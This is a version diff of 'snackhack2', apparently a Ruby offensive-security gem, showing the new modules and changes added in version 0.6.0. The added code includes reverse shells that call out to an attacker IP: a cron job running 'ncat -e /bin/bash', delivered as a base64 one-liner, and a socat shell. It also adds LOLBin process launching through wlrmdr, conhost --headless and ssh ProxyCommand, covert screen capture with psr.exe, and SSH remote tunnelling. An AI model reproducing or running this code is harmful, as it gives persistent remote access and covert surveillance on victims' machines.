snackhack2 0.4.0 → 0.6.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: bbc624381b4958502decfc6b7ac465d6403f1188ce32dab550646e845ccddf12
-  data.tar.gz: 1cc81ff8c7b3de88dfcb61ac2c017399d278d507c5e961ef1de1e217a57210f2
+  metadata.gz: 91c1c06a465134768119913da56c3cd2431d523bbba508d40247e4ac35b58080
+  data.tar.gz: e40b136a7b30a151e4a72e0a783399ea08196dfe9ede37df8a6baba1116e1c9a
 SHA512:
-  metadata.gz: 74be7753128578579313e14a33b5796262126c3286d6ab77bb345ffd61cf1fb6f0a586e8369ce36a73c0135db99a26b36b73209e67b2d5d2ad59ab758e6035b0
-  data.tar.gz: 490420d11d5a8d93c0d11a3644abfde7ef00ee34621f84074bb82e69e6bea3899646e3c31407b2886d61bfe30b0bbfa12b2f0ade9d88007b18bd703288ed21d9
+  metadata.gz: 4fd58e1fbbe4f408ccd002ca9d3581c92308d1ab05c8147a978d502b782d67c5e867cbed43c76d8b99ba7dcd8413555b6ec65e270797688791baf2e36c02b14f
+  data.tar.gz: ee3506348b912fc05319b5be0f22699ca780f47cf471060dcb6d41685f4607be709de140356331249309de2d768554853a4c536ec67836e338be5731681a5866

data/lib/snackhack2/forward_remote.rb

@@ -0,0 +1,23 @@
+require 'net/ssh'
+module Snackhack2
+  class SSHForwardRemote
+    attr_accessor :site, :user, :pass, :key, :lport, :lsite, :rport
+
+    def initialize
+      @site = site
+      @user = user
+      @pass = pass
+      @key  = key
+      @lport = lport
+      @lsite = lsite
+      @rport = rport
+    end
+    def run
+      Net::SSH.start(@site, @user, :password => @pass, :keys => @key) do |ssh|
+        ssh.forward.remote(@lport, @lsite, @rport)
+        puts "[+] Starting SSH remote forward tunnel"
+        ssh.loop { true }
+      end
+    end
+  end
+end

data/lib/snackhack2/indirect_command_injection.rb

@@ -0,0 +1,27 @@
+module Snackhack2
+	class CommandInjection
+		attr_accessor :exe, :title, :prompt
+		def initialize
+			@exe  = "calc.exe"
+			@title = "Click me!"
+			@prompt = "To run calculator" 
+		end
+		def wlrmdr_With_prompt
+			Process.spawn("wlrmdr.exe -s 3600 -f 0 -t #{title} -m #{@prompt} -a 10 -u #{@exe}")
+		end
+		def wlrmdr_without_prompt
+			Process.spawn("wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u #{@exe}")
+		end
+		def conhost
+			Process.spawn("conhost.exe #{@exe}")
+		end
+		def conhost_hide
+			# Specify --headless parameter to hide child process window (if applicable)
+			Process.spawn("conhost.exe --headless #{@exe}")
+		def ssh
+			Process.spawn("ssh -o ProxyCommand=#{@exe} .")
+		end
+	end
+end
+
+

data/lib/snackhack2/phone_number.rb

@@ -18,8 +18,8 @@ module Snackhack2
       http = Snackhack2::get(@site)
       if http.code == 200
         regex = http.body
-        t = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
-        out = t.map { |n| n[0] }.compact
+        phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
+        out = phone.map { |n| n[0] }.compact
         numbers << out
       else
         puts "[+] Status code: #{http.code}"

data/lib/snackhack2/portscan.rb

@@ -1,10 +1,13 @@
 # frozen_string_literal: true
 
-require 'packetfu'
+
 module Snackhack2
   class PortScan
-    def initialize(ip)
+    attr_accessor :display, :ip, :delete
+    def initialize(ip, display: true, delete: false)
       @ip = ip
+      @display = display
+      @delete = delete
     end
 
     def run
@@ -13,8 +16,20 @@ module Snackhack2
       ports.each { |i| threads << Thread.new { tcp(i) } }
       threads.each(&:join)
     end
-
+    def ports_extractor(port)
+      ip=[]
+      files = Dir['*_port_scan.txt']
+      files.each do |f|
+        r=File.read(f)
+        if r.include?(port)
+          ip << f.split("_")[0]
+        end
+      File.delete(f) if delete
+      end
+    File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
+    end
     def tcp(i)
+      ip = @ip
       open_ports = []
       begin
         Timeout.timeout(1) do
@@ -27,10 +42,12 @@ module Snackhack2
       rescue Timeout::Error
       end
       return if open_ports.empty?
-
-      open_ports.each do |port|
-        puts "#{port} is open"
+      if @display
+        open_ports.each do |port|
+          puts "#{port} is open"
+        end
       end
+    File.open("#{ip}_port_scan.txt", 'a') { |file| file.write(open_ports.shift.to_s+ "\n") }
     end
   end
 end

data/lib/snackhack2/reverse_shell.rb

@@ -12,5 +12,17 @@ module Snackhack2
 			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
       puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
     end
+    def version2
+    	c = %Q{#!/bin/bash
+			line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
+			(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}	
+    	puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
+    end
+    def bash
+    	c = %Q{
+    		bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane"
+    	}
+    	Process.spawn(c)
+    end
   end
 end

data/lib/snackhack2/screenshots.rb

@@ -0,0 +1,21 @@
+require 'shellwords'
+module Snackhack2
+	class ScreenShot
+		attr_accessor :zip, :time
+		# https://lolbas-project.github.io/lolbas/Binaries/Psr/
+	    def initialize
+	    	@zip = "screenshots.zip"
+	    	@time = 60
+	    end
+	    def run
+	    	File.open("lol.bat", 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
+	    	File.open("lol2.bat", 'w+') { |file| file.write("psr.exe /stop") }
+	    	Process.spawn("lol.bat")
+	    	sleep @time.to_i
+	    	system("lol2.bat")
+	    	sleep 2
+	    	File.delete("lol.bat")
+	    	File.delete("lol2.bat")
+	    end
+	end
+end

data/lib/snackhack2/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module Snackhack2
-  VERSION = '0.4.0'
+  VERSION = '0.6.0'
 end

data/lib/snackhack2.rb

@@ -25,6 +25,9 @@ require_relative 'snackhack2/sitemap'
 require_relative 'snackhack2/tomcat'
 require_relative 'snackhack2/subdomains2'
 require_relative 'snackhack2/reverse_shell'
+require_relative 'snackhack2/forward_remote'
+require_relative 'snackhack2/screenshots'
+require_relative 'snackhack2/indirect_command_injection'
 
 module Snackhack2
   UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
@@ -46,14 +49,27 @@ module Snackhack2
       end
     end
   end
-
-  def self.file_save(site, type, content)
-    hostname = URI.parse(site).host
-    File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
-    puts "[+] Saving file to #{hostname}_#{type}.txt..."
+  def self.file_save(site, type, content, ip:false)
+      hostname = URI.parse(site).host
+      File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
+      puts "[+] Saving file to #{hostname}_#{type}.txt..."
   end
 
   def self.get(site)
     HTTParty.get(site, { headers: { "User-Agent" => UA } })
   end
+
+  def self.clean_portscan
+    Dir['*_port_scan.txt'].each do |file|
+      puts "[+] deleting #{file}..."
+      File.delete(file)
+    end
+  end
+  def self.read_portscan
+    files = Dir['*_port_scan.txt']
+    files.each do |f|
+      read = File.read(f)
+      puts "#{f.split('_')[0]}: #{read}"
+    end
+  end
 end

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: snackhack2
 version: !ruby/object:Gem::Version
-  version: 0.4.0
+  version: 0.6.0
 platform: ruby
 authors:
 - mike
 autorequire: 
 bindir: exe
 cert_chain: []
-date: 2024-08-03 00:00:00.000000000 Z
+date: 2024-09-02 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: httparty
@@ -66,7 +66,9 @@ files:
 - lib/snackhack2/cryptoextractor.rb
 - lib/snackhack2/drupal.rb
 - lib/snackhack2/emails.rb
+- lib/snackhack2/forward_remote.rb
 - lib/snackhack2/google_analytics.rb
+- lib/snackhack2/indirect_command_injection.rb
 - lib/snackhack2/iplookup.rb
 - lib/snackhack2/lists/sshbrute.txt
 - lib/snackhack2/lists/subdomains.txt
@@ -74,6 +76,7 @@ files:
 - lib/snackhack2/portscan.rb
 - lib/snackhack2/reverse_shell.rb
 - lib/snackhack2/robots.rb
+- lib/snackhack2/screenshots.rb
 - lib/snackhack2/sitemap.rb
 - lib/snackhack2/sshbrute.rb
 - lib/snackhack2/subdomains.rb